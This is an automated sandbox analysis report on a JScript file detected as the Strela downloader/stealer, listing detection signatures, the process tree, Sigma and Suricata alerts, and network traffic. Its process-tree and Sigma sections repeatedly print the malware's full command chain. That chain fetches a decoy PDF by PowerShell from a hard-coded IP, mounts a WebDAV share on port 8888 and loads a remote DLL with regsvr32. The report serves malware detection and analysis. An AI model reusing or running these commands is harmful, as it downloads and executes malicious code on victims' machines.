Edit tour

Windows Analysis Report
17266187282427315527.js

Overview

General Information

Sample name:	17266187282427315527.js
Analysis ID:	1588336
MD5:	562afd88ef3b27898d06a1bfbcb65ee3
SHA1:	f92458915b785a437066891eef22a9cb5da8227f
SHA256:	44b3cddf86eca66c3b61a47f710174f7f64f0ba11bd8bc34baf887386a241f42
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4480 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6540 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6024 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1536 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1740,i,12707858693976067435,15828906244356528821,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2884 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1436 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4480	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6024, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6024, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ProcessId: 4480, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1436, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 6540, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ProcessId: 4480, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6540, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6024, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2884, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1436, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 320, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2884, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1436, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17266187282427315527.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4480, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 6540, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:09:45.385998+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:09:47.734454+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:09:45.385998+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 17266187282427315527.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 17266187282427315527.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:09:45 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
